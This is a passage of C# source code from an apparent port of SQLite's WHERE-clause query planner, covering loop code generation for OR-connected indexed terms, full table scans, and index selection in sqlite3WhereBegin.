OP_Noop );\n        testcase( op == OP_IdxGE );\n        testcase( op == OP_IdxLT );\n        if ( op != OP_Noop )\n        {\n          sqlite3VdbeAddOp4( v, op, iIdxCur, addrNxt, regBase,\n          ( nConstraint ), P4_INT32 );//    SQLITE_INT_TO_PTR(nConstraint)\n          sqlite3VdbeChangeP5( v, (u8)( endEq != bRev ? 1 : 0 ) );\n        }\n\n        /* If there are inequality constraints, check that the value\n        ** of the table column that the inequality contrains is not NULL.\n        ** If it is, jump to the next iteration of the loop.\n        */\n        r1 = sqlite3GetTempReg( pParse );\n        testcase( pLevel.plan.wsFlags & WHERE_BTM_LIMIT );\n        testcase( pLevel.plan.wsFlags & WHERE_TOP_LIMIT );\n        if ( ( pLevel.plan.wsFlags & ( WHERE_BTM_LIMIT | WHERE_TOP_LIMIT ) ) != 0 )\n        {\n          sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, nEq, r1 );\n          sqlite3VdbeAddOp2( v, OP_IsNull, r1, addrCont );\n        }\n        sqlite3ReleaseTempReg( pParse, r1 );\n\n        /* Seek the table cursor, if required */\n        disableTerm( pLevel, pRangeStart );\n        disableTerm( pLevel, pRangeEnd );\n        if ( 0 == omitTable )\n        {\n          iRowidReg = iReleaseReg = sqlite3GetTempReg( pParse );\n          sqlite3VdbeAddOp2( v, OP_IdxRowid, iIdxCur, iRowidReg );\n          sqlite3ExprCacheStore( pParse, iCur, -1, iRowidReg );\n          sqlite3VdbeAddOp2( v, OP_Seek, iCur, iRowidReg );  /* Deferred seek */\n        }\n\n        /* Record the instruction used to terminate the loop. Disable\n        ** WHERE clause terms made redundant by the index range scan.\n        */\n        pLevel.op = (u8)( bRev != 0 ? OP_Prev : OP_Next );\n        pLevel.p1 = iIdxCur;\n      }\n      else\n\n#if  !SQLITE_OMIT_OR_OPTIMIZATION\n        if ( ( pLevel.plan.wsFlags & WHERE_MULTI_OR ) != 0 )\n        {\n          /* Case 4:  Two or more separately indexed terms connected by OR\n          **\n          ** Example:\n          **\n          **   CREATE TABLE t1(a,b,c,d);\n          **   CREATE INDEX i1 ON t1(a);\n          **   CREATE INDEX i2 ON t1(b);\n          **   CREATE INDEX i3 ON t1(c);\n          **\n          **   SELECT * FROM t1 WHERE a=5 OR b=7 OR (c=11 AND d=13)\n          **\n          ** In the example, there are three indexed terms connected by OR.\n          ** The top of the loop looks like this:\n          **\n          **          Null       1                # Zero the rowset in reg 1\n          **\n          ** Then, for each indexed term, the following. The arguments to\n          ** RowSetTest are such that the rowid of the current row is inserted\n          ** into the RowSet. If it is already present, control skips the\n          ** Gosub opcode and jumps straight to the code generated by WhereEnd().\n          **\n          **        sqlite3WhereBegin(<term>)\n          **          RowSetTest                  # Insert rowid into rowset\n          **          Gosub      2 A\n          **        sqlite3WhereEnd()\n          **\n          ** Following the above, code to terminate the loop. Label A, the target\n          ** of the Gosub above, jumps to the instruction right after the Goto.\n          **\n          **          Null       1                # Zero the rowset in reg 1\n          **          Goto       B                # The loop is finished.\n          **\n          **       A: <loop body>                 # Return data, whatever.\n          **\n          **          Return     2                # Jump back to the Gosub\n          **\n          **       B: <after the loop>\n          **\n          */\n          WhereClause pOrWc;    /* The OR-clause broken out into subterms */\n          WhereTerm pFinal;    /* Final subterm within the OR-clause. */\n          SrcList oneTab = new SrcList();        /* Shortened table list */\n\n          int regReturn = ++pParse.nMem;           /* Register used with OP_Gosub */\n          int regRowset = 0;                       /* Register for RowSet object */\n          int regRowid = 0;                        /* Register holding rowid */\n          int iLoopBody = sqlite3VdbeMakeLabel( v );  /* Start of loop body */\n          int iRetInit;                             /* Address of regReturn init */\n          int ii;\n          pTerm = pLevel.plan.u.pTerm;\n          Debug.Assert( pTerm != null );\n          Debug.Assert( pTerm.eOperator == WO_OR );\n          Debug.Assert( ( pTerm.wtFlags & TERM_ORINFO ) != 0 );\n          pOrWc = pTerm.u.pOrInfo.wc;\n          pFinal = pOrWc.a[pOrWc.nTerm - 1];\n          /* Set up a SrcList containing just the table being scanned by this loop. */\n          oneTab.nSrc = 1;\n          oneTab.nAlloc = 1;\n          oneTab.a = new SrcList_item[1];\n          oneTab.a[0] = pTabItem;\n          /* Initialize the rowset register to contain NULL. An SQL NULL is\n          ** equivalent to an empty rowset.\n          **\n          ** Also initialize regReturn to contain the address of the instruction\n          ** immediately following the OP_Return at the bottom of the loop. This\n          ** is required in a few obscure LEFT JOIN cases where control jumps\n          ** over the top of the loop into the body of it. In this case the\n          ** correct response for the end-of-loop code (the OP_Return) is to\n          ** fall through to the next instruction, just as an OP_Next does if\n          ** called on an uninitialized cursor.\n          */\n          if ( ( wctrlFlags & WHERE_DUPLICATES_OK ) == 0 )\n          {\n            regRowset = ++pParse.nMem;\n            regRowid = ++pParse.nMem;\n            sqlite3VdbeAddOp2( v, OP_Null, 0, regRowset );\n          }\n          iRetInit = sqlite3VdbeAddOp2( v, OP_Integer, 0, regReturn );\n\n          for ( ii = 0 ; ii < pOrWc.nTerm ; ii++ )\n          {\n            WhereTerm pOrTerm = pOrWc.a[ii];\n            if ( pOrTerm.leftCursor == iCur || pOrTerm.eOperator == WO_AND )\n            {\n              WhereInfo pSubWInfo;          /* Info for single OR-term scan */\n\n              /* Loop through table entries that match term pOrTerm. */\n              ExprList elDummy = null;\n              pSubWInfo = sqlite3WhereBegin( pParse, oneTab, pOrTerm.pExpr, ref elDummy,\n              WHERE_OMIT_OPEN | WHERE_OMIT_CLOSE | WHERE_FORCE_TABLE );\n              if ( pSubWInfo != null )\n              {\n                if ( ( wctrlFlags & WHERE_DUPLICATES_OK ) == 0 )\n                {\n                  int iSet = ( ( ii == pOrWc.nTerm - 1 ) ? -1 : ii );\n                  int r;\n                  r = sqlite3ExprCodeGetColumn( pParse, pTabItem.pTab, -1, iCur,\n                  regRowid, false );\n                  sqlite3VdbeAddOp4( v, OP_RowSetTest, regRowset,\n                  sqlite3VdbeCurrentAddr( v ) + 2,\n                  r, iSet, P4_INT32 );//SQLITE_INT_TO_PTR(iSet), P4_INT32);\n                }\n                sqlite3VdbeAddOp2( v, OP_Gosub, regReturn, iLoopBody );\n\n                /* Finish the loop through table entries that match term pOrTerm. */\n                sqlite3WhereEnd( pSubWInfo );\n              }\n            }\n          }\n          sqlite3VdbeChangeP1( v, iRetInit, sqlite3VdbeCurrentAddr( v ) );\n          /* sqlite3VdbeAddOp2(v, OP_Null, 0, regRowset); */\n          sqlite3VdbeAddOp2( v, OP_Goto, 0, pLevel.addrBrk );\n          sqlite3VdbeResolveLabel( v, iLoopBody );\n\n          pLevel.op = OP_Return;\n          pLevel.p1 = regReturn;\n          disableTerm( pLevel, pTerm );\n        }\n        else\n#endif //* SQLITE_OMIT_OR_OPTIMIZATION */\n\n        {\n          /* Case 5:  There is no usable index.  We must do a complete\n          **          scan of the entire table.\n          */\n          u8[] aStep = new u8[] { OP_Next, OP_Prev };\n          u8[] aStart = new u8[] { OP_Rewind, OP_Last };\n          Debug.Assert( bRev == 0 || bRev == 1 );\n          Debug.Assert( omitTable == 0 );\n          pLevel.op = aStep[bRev];\n          pLevel.p1 = iCur;\n          pLevel.p2 = 1 + sqlite3VdbeAddOp2( v, aStart[bRev], iCur, addrBrk );\n          pLevel.p5 = SQLITE_STMTSTATUS_FULLSCAN_STEP;\n        }\n      notReady &= ~getMask( pWC.pMaskSet, iCur );\n\n      /* Insert code to test every subexpression that can be completely\n      ** computed using the current set of tables.\n      */\n      k = 0;\n      for ( j = pWC.nTerm ; j > 0 ; j-- )//, pTerm++)\n      {\n        pTerm = pWC.a[pWC.nTerm - j];\n        Expr pE;\n        testcase( pTerm.wtFlags & TERM_VIRTUAL );\n        testcase( pTerm.wtFlags & TERM_CODED );\n        if ( ( pTerm.wtFlags & ( TERM_VIRTUAL | TERM_CODED ) ) != 0 ) continue;\n        if ( ( pTerm.prereqAll & notReady ) != 0 ) continue;\n        pE = pTerm.pExpr;\n        Debug.Assert( pE != null );\n        if ( pLevel.iLeftJoin != 0 && !( ( pE.flags & EP_FromJoin ) == EP_FromJoin ) )// !ExprHasProperty(pE, EP_FromJoin) ){\n        {\n          continue;\n        }\n        sqlite3ExprIfFalse( pParse, pE, addrCont, SQLITE_JUMPIFNULL );\n        k = 1;\n        pTerm.wtFlags |= TERM_CODED;\n      }\n\n      /* For a LEFT OUTER JOIN, generate code that will record the fact that\n      ** at least one row of the right table has matched the left table.\n      */\n      if ( pLevel.iLeftJoin != 0 )\n      {\n        pLevel.addrFirst = sqlite3VdbeCurrentAddr( v );\n        sqlite3VdbeAddOp2( v, OP_Integer, 1, pLevel.iLeftJoin );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"record LEFT JOIN hit\" );\n#endif\n        sqlite3ExprCacheClear( pParse );\n        for ( j = 0 ; j < pWC.nTerm ; j++ )//, pTerm++)\n        {\n          pTerm = pWC.a[j];\n          testcase( pTerm.wtFlags & TERM_VIRTUAL );\n          testcase( pTerm.wtFlags & TERM_CODED );\n          if ( ( pTerm.wtFlags & ( TERM_VIRTUAL | TERM_CODED ) ) != 0 ) continue;\n          if ( ( pTerm.prereqAll & notReady ) != 0 ) continue;\n          Debug.Assert( pTerm.pExpr != null );\n          sqlite3ExprIfFalse( pParse, pTerm.pExpr, addrCont, SQLITE_JUMPIFNULL );\n          pTerm.wtFlags |= TERM_CODED;\n        }\n      }\n\n      sqlite3ReleaseTempReg( pParse, iReleaseReg );\n      return notReady;\n    }\n\n#if  (SQLITE_TEST)\n    /*\n** The following variable holds a text description of query plan generated\n** by the most recent call to sqlite3WhereBegin().  Each call to WhereBegin\n** overwrites the previous.  This information is used for testing and\n** analysis only.\n*/\n    //char sqlite3_query_plan[BMS*2*40];  /* Text of the join */\n    static int nQPlan = 0;              /* Next free slow in _query_plan[] */\n\n#endif //* SQLITE_TEST */\n\n\n    /*\n** Free a WhereInfo structure\n*/\n    static void whereInfoFree( sqlite3 db, WhereInfo pWInfo )\n    {\n      if ( pWInfo != null )\n      {\n        int i;\n        for ( i = 0 ; i < pWInfo.nLevel ; i++ )\n        {\n          sqlite3_index_info pInfo = pWInfo.a[i].pIdxInfo;\n          if ( pInfo != null )\n          {\n            /* Debug.Assert( pInfo.needToFreeIdxStr==0 || db.mallocFailed ); */\n            if ( pInfo.needToFreeIdxStr != 0 )\n            {\n              //sqlite3_free( ref pInfo.idxStr );\n            }\n            //sqlite3DbFree( db, pInfo );\n          }\n        }\n        whereClauseClear( pWInfo.pWC );\n        //sqlite3DbFree( db, pWInfo );\n      }\n    }\n\n\n    /*\n    ** Generate the beginning of the loop used for WHERE clause processing.\n    ** The return value is a pointer to an opaque structure that contains\n    ** information needed to terminate the loop.  Later, the calling routine\n    ** should invoke sqlite3WhereEnd() with the return value of this function\n    ** in order to complete the WHERE clause processing.\n    **\n    ** If an error occurs, this routine returns NULL.\n    **\n    ** The basic idea is to do a nested loop, one loop for each table in\n    ** the FROM clause of a select.  (INSERT and UPDATE statements are the\n    ** same as a SELECT with only a single table in the FROM clause.)  For\n    ** example, if the SQL is this:\n    **\n    **       SELECT * FROM t1, t2, t3 WHERE ...;\n    **\n    ** Then the code generated is conceptually like the following:\n    **\n    **      foreach row1 in t1 do       \\    Code generated\n    **        foreach row2 in t2 do      |-- by sqlite3WhereBegin()\n    **          foreach row3 in t3 do   /\n    **            ...\n    **          end                     \\    Code generated\n    **        end                        |-- by sqlite3WhereEnd()\n    **      end                         /\n    **\n    ** Note that the loops might not be nested in the order in which they\n    ** appear in the FROM clause if a different order is better able to make\n    ** use of indices.  Note also that when the IN operator appears in\n    ** the WHERE clause, it might result in additional nested loops for\n    ** scanning through all values on the right-hand side of the IN.\n    **\n    ** There are Btree cursors Debug.Associated with each table.  t1 uses cursor\n    ** number pTabList.a[0].iCursor.  t2 uses the cursor pTabList.a[1].iCursor.\n    ** And so forth.  This routine generates code to open those VDBE cursors\n    ** and sqlite3WhereEnd() generates the code to close them.\n    **\n    ** The code that sqlite3WhereBegin() generates leaves the cursors named\n    ** in pTabList pointing at their appropriate entries.  The [...] code\n    ** can use OP_Column and OP_Rowid opcodes on these cursors to extract\n    ** data from the various tables of the loop.\n    **\n    ** If the WHERE clause is empty, the foreach loops must each scan their\n    ** entire tables.  Thus a three-way join is an O(N^3) operation.  But if\n    ** the tables have indices and there are terms in the WHERE clause that\n    ** refer to those indices, a complete table scan can be avoided and the\n    ** code will run much faster.  Most of the work of this routine is checking\n    ** to see if there are indices that can be used to speed up the loop.\n    **\n    ** Terms of the WHERE clause are also used to limit which rows actually\n    ** make it to the \"...\" in the middle of the loop.  After each \"foreach\",\n    ** terms of the WHERE clause that use only terms in that loop and outer\n    ** loops are evaluated and if false a jump is made around all subsequent\n    ** inner loops (or around the \"...\" if the test occurs within the inner-\n    ** most loop)\n    **\n    ** OUTER JOINS\n    **\n    ** An outer join of tables t1 and t2 is conceptally coded as follows:\n    **\n    **    foreach row1 in t1 do\n    **      flag = 0\n    **      foreach row2 in t2 do\n    **        start:\n    **          ...\n    **          flag = 1\n    **      end\n    **      if flag==null then\n    **        move the row2 cursor to a null row\n    **        goto start\n    **      fi\n    **    end\n    **\n    ** ORDER BY CLAUSE PROCESSING\n    **\n    ** ppOrderBy is a pointer to the ORDER BY clause of a SELECT statement,\n    ** if there is one.  If there is no ORDER BY clause or if this routine\n    ** is called from an UPDATE or DELETE statement, then ppOrderBy is NULL.\n    **\n    ** If an index can be used so that the natural output order of the table\n    ** scan is correct for the ORDER BY clause, then that index is used and\n    ** ppOrderBy is set to NULL.  This is an optimization that prevents an\n    ** unnecessary sort of the result set if an index appropriate for the\n    ** ORDER BY clause already exists.\n    **\n    ** If the where clause loops cannot be arranged to provide the correct\n    ** output order, then the ppOrderBy is unchanged.\n    */\n    static WhereInfo sqlite3WhereBegin(\n    Parse pParse,           /* The parser context */\n    SrcList pTabList,       /* A list of all tables to be scanned */\n    Expr pWhere,            /* The WHERE clause */\n    ref ExprList ppOrderBy, /* An ORDER BY clause, or NULL */\n    u16 wctrlFlags          /* One of the WHERE_* flags defined in sqliteInt.h */\n    )\n    {\n      int i;                     /* Loop counter */\n      int nByteWInfo;            /* Num. bytes allocated for WhereInfo struct */\n      WhereInfo pWInfo;          /* Will become the return value of this function */\n      Vdbe v = pParse.pVdbe;     /* The virtual data_base engine */\n      Bitmask notReady;          /* Cursors that are not yet positioned */\n      WhereMaskSet pMaskSet;     /* The expression mask set */\n      WhereClause pWC = new WhereClause();               /* Decomposition of the WHERE clause */\n      SrcList_item pTabItem;     /* A single entry from pTabList */\n      WhereLevel pLevel;         /* A single level in the pWInfo list */\n      int iFrom;                 /* First unused FROM clause element */\n      int andFlags;              /* AND-ed combination of all pWC.a[].wtFlags */\n      sqlite3 db;                /* Data_base connection */\n\n      /* The number of tables in the FROM clause is limited by the number of\n      ** bits in a Bitmask\n      */\n      if ( pTabList.nSrc > BMS )\n      {\n        sqlite3ErrorMsg( pParse, \"at most %d tables in a join\", BMS );\n        return null;\n      }\n\n      /* Allocate and initialize the WhereInfo structure that will become the\n      ** return value. A single allocation is used to store the WhereInfo\n      ** struct, the contents of WhereInfo.a[], the WhereClause structure\n      ** and the WhereMaskSet structure. Since WhereClause contains an 8-byte\n      ** field (type Bitmask) it must be aligned on an 8-byte boundary on\n      ** some architectures. Hence the ROUND8() below.\n      */\n      db = pParse.db;\n      pWInfo = new WhereInfo();\n      //nByteWInfo = ROUND8( sizeof( WhereInfo ) + ( pTabList.nSrc - 1 ) * sizeof( WhereLevel ) );\n      //pWInfo = sqlite3DbMallocZero( db,\n      //    nByteWInfo +\n      //    sizeof( WhereClause ) +\n      //    sizeof( WhereMaskSet )\n      //);\n      pWInfo.a = new WhereLevel[pTabList.nSrc];\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto whereBeginError;\n      //}\n      pWInfo.nLevel = pTabList.nSrc;\n      pWInfo.pParse = pParse;\n      pWInfo.pTabList = pTabList;\n      pWInfo.iBreak = sqlite3VdbeMakeLabel( v );\n      pWInfo.pWC = pWC = new WhereClause();// (WhereClause )((u8 )pWInfo)[nByteWInfo];\n      pWInfo.wctrlFlags = wctrlFlags;\n      //pMaskSet = (WhereMaskSet)pWC[1];\n\n      /* Split the WHERE clause into separate subexpressions where each\n      ** subexpression is separated by an AND operator.\n      */\n      pMaskSet = new WhereMaskSet();//initMaskSet(pMaskSet);\n      whereClauseInit( pWC, pParse, pMaskSet );\n      sqlite3ExprCodeConstants( pParse, pWhere );\n      whereSplit( pWC, pWhere, TK_AND );\n\n      /* Special case: a WHERE clause that is constant.  Evaluate the\n      ** expression and either jump over all of the code or fall thru.\n      */\n      if ( pWhere != null && ( pTabList.nSrc == 0 || sqlite3ExprIsConstantNotJoin( pWhere ) != 0 ) )\n      {\n        sqlite3ExprIfFalse( pParse, pWhere, pWInfo.iBreak, SQLITE_JUMPIFNULL );\n        pWhere = null;\n      }\n\n      /* Assign a bit from the bitmask to every term in the FROM clause.\n      **\n      ** When assigning bitmask values to FROM clause cursors, it must be\n      ** the case that if X is the bitmask for the N-th FROM clause term then\n      ** the bitmask for all FROM clause terms to the left of the N-th term\n      ** is (X-1).   An expression from the ON clause of a LEFT JOIN can use\n      ** its Expr.iRightJoinTable value to find the bitmask of the right table\n      ** of the join.  Subtracting one from the right table bitmask gives a\n      ** bitmask for all tables to the left of the join.  Knowing the bitmask\n      ** for all tables to the left of a left join is important.  Ticket #3015.\n      **\n      ** Configure the WhereClause.vmask variable so that bits that correspond\n      ** to virtual table cursors are set. This is used to selectively disable\n      ** the OR-to-IN transformation in exprAnalyzeOrTerm(). It is not helpful\n      ** with virtual tables.\n      */\n      Debug.Assert( pWC.vmask == 0 && pMaskSet.n == 0 );\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )\n      {\n        createMask( pMaskSet, pTabList.a[i].iCursor );\n#if !SQLITE_OMIT_VIRTUALTABLE\nif ( ALWAYS( pTabList.a[i].pTab ) && IsVirtual( pTabList.a[i].pTab ) )\n{\npWC.vmask |= ( (Bitmask)1 << i );\n}\n#endif\n      }\n#if  !NDEBUG\n      {\n        Bitmask toTheLeft = 0;\n        for ( i = 0 ; i < pTabList.nSrc ; i++ )\n        {\n          Bitmask m = getMask( pMaskSet, pTabList.a[i].iCursor );\n          Debug.Assert( ( m - 1 ) == toTheLeft );\n          toTheLeft |= m;\n        }\n      }\n#endif\n\n      /* Analyze all of the subexpressions.  Note that exprAnalyze() might\n** add new virtual terms onto the end of the WHERE clause.  We do not\n** want to analyze these virtual terms, so start analyzing at the end\n** and work forward so that the added virtual terms are never processed.\n*/\n      exprAnalyzeAll( pTabList, pWC );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto whereBeginError;\n      //}\n\n      /* Chose the best index to use for each table in the FROM clause.\n      **\n      ** This loop fills in the following fields:\n      **\n      **   pWInfo.a[].pIdx      The index to use for this level of the loop.\n      **   pWInfo.a[].wsFlags   WHERE_xxx flags Debug.Associated with pIdx\n      **   pWInfo.a[].nEq       The number of == and IN constraints\n      **   pWInfo.a[].iFrom     Which term of the FROM clause is being coded\n      **   pWInfo.a[].iTabCur   The VDBE cursor for the data_base table\n      **   pWInfo.a[].iIdxCur   The VDBE cursor for the index\n      **   pWInfo.a[].pTerm     When wsFlags==WO_OR, the OR-clause term\n      **\n      ** This loop also figures out the nesting order of tables in the FROM\n      ** clause.\n      */\n      notReady = ~(Bitmask)0;\n      pTabItem = pTabList.a != null ? pTabList.a[0] : null; //pTabItem = pTabList.a;\n      //pLevel = pWInfo.a;\n      andFlags = ~0;\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n      WHERETRACE( \"*** Optimizer Start ***\\n\" );\n#endif\n      for ( i = iFrom = 0 ; i < pTabList.nSrc ; i++ )//, pLevel++ )\n      {\n        pWInfo.a[i] = new WhereLevel();\n        pLevel = pWInfo.a[i];\n        WhereCost bestPlan;         /* Most efficient plan seen so far */\n        Index pIdx;                /* Index for FROM table at pTabItem */\n        int j;                      /* For looping over FROM tables */\n        int bestJ = 0;              /* The value of j */\n        Bitmask m;                  /* Bitmask value for j or bestJ */\n        int once = 0;               /* True when first table is seen */\n\n        bestPlan = new WhereCost();// memset( &bestPlan, 0, sizeof( bestPlan ) );\n        bestPlan.rCost = SQLITE_BIG_DBL;\n        for ( j = iFrom ; j < pTabList.nSrc ; j++ )//, pTabItem++)\n        {\n          pTabItem = pTabList.a[j];\n          int doNotReorder;       /* True if this table should not be reordered */\n          WhereCost sCost = null; /* Cost information from best[Virtual]Index() */\n          ExprList pOrderBy;      /* ORDER BY clause for index to optimize */\n\n          doNotReorder = ( pTabItem.jointype & ( JT_LEFT | JT_CROSS ) ) != 0 ? 1 : 0;\n          if ( ( once != 0 && doNotReorder != 0 ) ) break;\n          m = getMask( pMaskSet, pTabItem.iCursor );\n          if ( ( m & notReady ) == 0 )\n          {\n            if ( j == iFrom ) iFrom++;\n            continue;\n          }\n          pOrderBy = ( ( i == 0 && ppOrderBy != null ) ? ppOrderBy : null );\n          Debug.Assert( pTabItem.pTab != null );\n#if  !SQLITE_OMIT_VIRTUALTABLE\nif( IsVirtual(pTabItem.pTab) ){\nsqlite3_index_info **pp = &pWInfo.a[j].pIdxInfo;\nbestVirtualIndex(pParse, pWC, pTabItem, notReady, pOrderBy, &sCost, pp);\n}else\n#endif\n          {\n            bestBtreeIndex( pParse, pWC, pTabItem, notReady, pOrderBy, ref sCost );\n          }\n          if ( once == 0 || sCost.rCost < bestPlan.rCost )\n          {\n            once = 1;\n            bestPlan = sCost;\n            bestJ = j;\n          }\n          if ( doNotReorder != 0 ) break;\n        }\n        Debug.Assert( once != 0 );\n        Debug.Assert( ( notReady & getMask( pMaskSet, pTabList.a[bestJ].iCursor ) ) != 0 );\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n        WHERETRACE( \"*** Optimizer selects table %d for loop %d\\n\", bestJ,\n        i );//pLevel - pWInfo.a );\n#endif\n        if ( ( bestPlan.plan.wsFlags & WHERE_ORDERBY ) != 0 )\n        {\n          ppOrderBy = null;\n        }\n        andFlags = (int)( andFlags & bestPlan.plan.wsFlags );\n        pLevel.plan = bestPlan.plan;\n        if ( ( bestPlan.plan.wsFlags & WHERE_INDEXED ) != 0 )\n        {\n          pLevel.iIdxCur = pParse.nTab++;\n        }\n        else\n        {\n          pLevel.iIdxCur = -1;\n        }\n        notReady &= ~getMask( pMaskSet, pTabList.a[bestJ].iCursor );\n        pLevel.iFrom = (u8)bestJ;\n\n        /* Check that if the table scanned by this loop iteration had an\n        ** INDEXED BY clause attached to it, that the named index is being\n        ** used for the scan. If not, then query compilation has failed.\n        ** Return an error.\n        */\n        pIdx = pTabList.a[bestJ].pIndex;\n        if ( pIdx != null )\n        {\n          if ( ( bestPlan.plan.wsFlags & WHERE_INDEXED ) == 0 )\n          {\n            sqlite3ErrorMsg( pParse, \"cannot use index: %s\", pIdx.zName );\n            goto whereBeginError;\n          }\n          else\n          {\n            /* If an INDEXED BY clause is used, the bestIndex() function is\n            ** guaranteed to find the index specified in the INDEXED BY clause\n            ** if it find an index at all. */\n            Debug.Assert( bestPlan.plan.u.pIdx == pIdx );\n          }\n        }\n      }\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n      WHERETRACE( \"*** Optimizer Finished ***\\n\" );\n#endif\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ )\n      {\n        goto whereBeginError;\n      }\n\n      /* If the total query only selects a single row, then the ORDER BY\n      ** clause is irrelevant.\n      */\n      if ( ( andFlags & WHERE_UNIQUE ) != 0 && ppOrderBy != null )\n      {\n        ppOrderBy = null;\n      }\n\n      /* If the caller is an UPDATE or DELETE statement that is requesting\n      ** to use a one-pDebug.Ass algorithm, determine if this is appropriate.\n      ** The one-pDebug.Ass algorithm only works if the WHERE clause constraints\n      ** the statement to update a single row.\n      */\n      Debug.Assert( ( wctrlFlags & WHERE_ONEPASS_DESIRED ) == 0 || pWInfo.nLevel == 1 );\n      if ( ( wctrlFlags & WHERE_ONEPASS_DESIRED ) != 0 && ( andFlags & WHERE_UNIQUE ) != 0 )\n      {\n        pWInfo.okOnePass = 1;\n        pWInfo.a[0].plan.wsFlags = (u32)( pWInfo.a[0].plan.wsFlags & ~WHERE_IDX_ONLY );\n      }\n\n      /* Open all tables in the pTabList and any indices selected for\n      ** searching those tables.\n      */\n      sqlite3CodeVerifySchema( pParse, -1 ); /* Insert the cookie verifier Goto */\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pLevel++ )\n      {\n        pLevel = pWInfo.a[i];\n        Table pTab;     /* Table to open */\n        int iDb;         /* Index of data_base containing table/index */\n\n#if  !SQLITE_OMIT_EXPLAIN\n        if ( pParse.explain == 2 )\n        {\n          string zMsg;\n          SrcList_item pItem = pTabList.a[pLevel.iFrom];\n          zMsg = sqlite3MPrintf( db, \"TABLE %s\", pItem.zName );\n          if ( pItem.zAlias != null )\n          {\n            zMsg = sqlite3MAppendf( db, zMsg, \"%s AS %s\", zMsg, pItem.zAlias );\n          }\n          if ( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 )\n          {\n            zMsg = sqlite3MAppendf( db, zMsg, \"%s WITH INDEX %s\",\n            zMsg, pLevel.plan.u.pIdx.zName );\n          }\n          else if ( ( pLevel.plan.wsFlags & WHERE_MULTI_OR ) != 0 )\n          {\n            zMsg = sqlite3MAppendf( db, zMsg, \"%s VIA MULTI-INDEX UNION\", zMsg );\n          }\n          else if ( ( pLevel.plan.wsFlags & ( WHERE_ROWID_EQ | WHERE_ROWID_RANGE ) ) != 0 )\n          {\n            zMsg = sqlite3MAppendf( db, zMsg, \"%s USING PRIMARY KEY\", zMsg );\n          }\n#if  !SQLITE_OMIT_VIRTUALTABLE\nelse if( (pLevel.plan.wsFlags & WHERE_VIRTUALTABLE)!=null ){\nsqlite3_index_info pVtabIdx = pLevel.plan.u.pVtabIdx;\nzMsg = sqlite3MAppendf(db, zMsg, \"%s VIRTUAL TABLE INDEX %d:%s\", zMsg,\npVtabIdx.idxNum, pVtabIdx.idxStr);\n}\n#endif\n          if ( ( pLevel.plan.wsFlags & WHERE_ORDERBY ) != 0 )\n          {\n            zMsg = sqlite3MAppendf( db, zMsg, \"%s ORDER BY\", zMsg );\n          }\n          sqlite3VdbeAddOp4( v, OP_Explain, i, pLevel.iFrom, 0, zMsg, P4_DYNAMIC );\n        }\n#endif //* SQLITE_OMIT_EXPLAIN */\n        pTabItem = pTabList.a[pLevel.iFrom];\n        pTab = pTabItem.pTab;\n        iDb = sqlite3SchemaToIndex( db, pTab.pSchema );\n        if ( ( pTab.tabFlags & TF_Ephemeral ) != 0 || pTab.pSelect != null ) continue;\n#if  !SQLITE_OMIT_VIRTUALTABLE\nif( (pLevel.plan.wsFlags & WHERE_VIRTUALTABLE)!=null ){\n VTable pVTab = sqlite3GetVTable(db, pTab);\nint iCur = pTabItem.iCursor;\nsqlite3VdbeAddOp4(v, OP_VOpen, iCur, 0, 0,\npVTab, P4_VTAB);\n}else\n#endif\n        if ( ( pLevel.plan.wsFlags & WHERE_IDX_ONLY ) == 0\n        && ( wctrlFlags & WHERE_OMIT_OPEN ) == 0 )\n        {\n          int op = pWInfo.okOnePass != 0 ? OP_OpenWrite : OP_OpenRead;\n          sqlite3OpenTable( pParse, pTabItem.iCursor, iDb, pTab, op );\n          if ( 0 == pWInfo.okOnePass && pTab.nCol < BMS )\n          {\n            Bitmask b = pTabItem.colUsed;\n            int n = 0;\n            for ( ; b != 0 ; b = b >> 1, n++ ) { }\n            sqlite3VdbeChangeP4( v, sqlite3VdbeCurrentAddr( v ) - 1, n, P4_INT32 );\n            Debug.Assert( n <= pTab.nCol );\n          }\n        }\n        else\n        {\n          sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName );\n        }\n        pLevel.iTabCur = pTabItem.iCursor;\n        if ( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 )\n        {\n          Index pIx = pLevel.plan.u.pIdx;\n          KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIx );\n          int iIdxCur = pLevel.iIdxCur;\n          Debug.Assert( pIx.pSchema == pTab.pSchema );\n          Debug.Assert( iIdxCur >= 0 );\n          sqlite3VdbeAddOp4( v, OP_OpenRead, iIdxCur, pIx.tnum, iDb,\n          pKey, P4_KEYINFO_HANDOFF );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"%s\", pIx.zName );\n#endif\n        }\n        sqlite3CodeVerifySchema( pParse, iDb );\n      }\n      pWInfo.iTop = sqlite3VdbeCurrentAddr( v );\n\n      /* Generate the code to do the search.  Each iteration of the for\n      ** loop below generates code for a single nested loop of the VM\n      ** program.\n      */\n      notReady = ~(Bitmask)0;\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )\n      {\n        notReady = codeOneLoopStart( pWInfo, i, wctrlFlags, notReady );\n        pWInfo.iContinue = pWInfo.a[i].addrCont;\n      }\n\n#if SQLITE_TEST  //* For testing and debugging use only */\n      /* Record in the query plan information about the current table\n** and the index used to access it (if any).  If the table itself\n** is not used, its name is just '{}'.  If no index is used\n** the index is listed as \"{}\".  If the primary key is used the\n** index name is '*'.\n*/\n      sqlite3_query_plan.sValue = \"\";\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )\n      {\n        string z;\n        int n;\n        pLevel = pWInfo.a[i];\n        pTabItem = pTabList.a[pLevel.iFrom];\n        z = pTabItem.zAlias;\n        if ( z == null ) z = pTabItem.pTab.zName;\n        n = sqlite3Strlen30( z );\n        if ( true ) //n+nQPlan < sizeof(sqlite3_query_plan)-10 )\n        {\n          if ( ( pLevel.plan.wsFlags & WHERE_IDX_ONLY ) != 0 )\n          {\n            sqlite3_query_plan.Append( \"{}\" ); //memcpy( 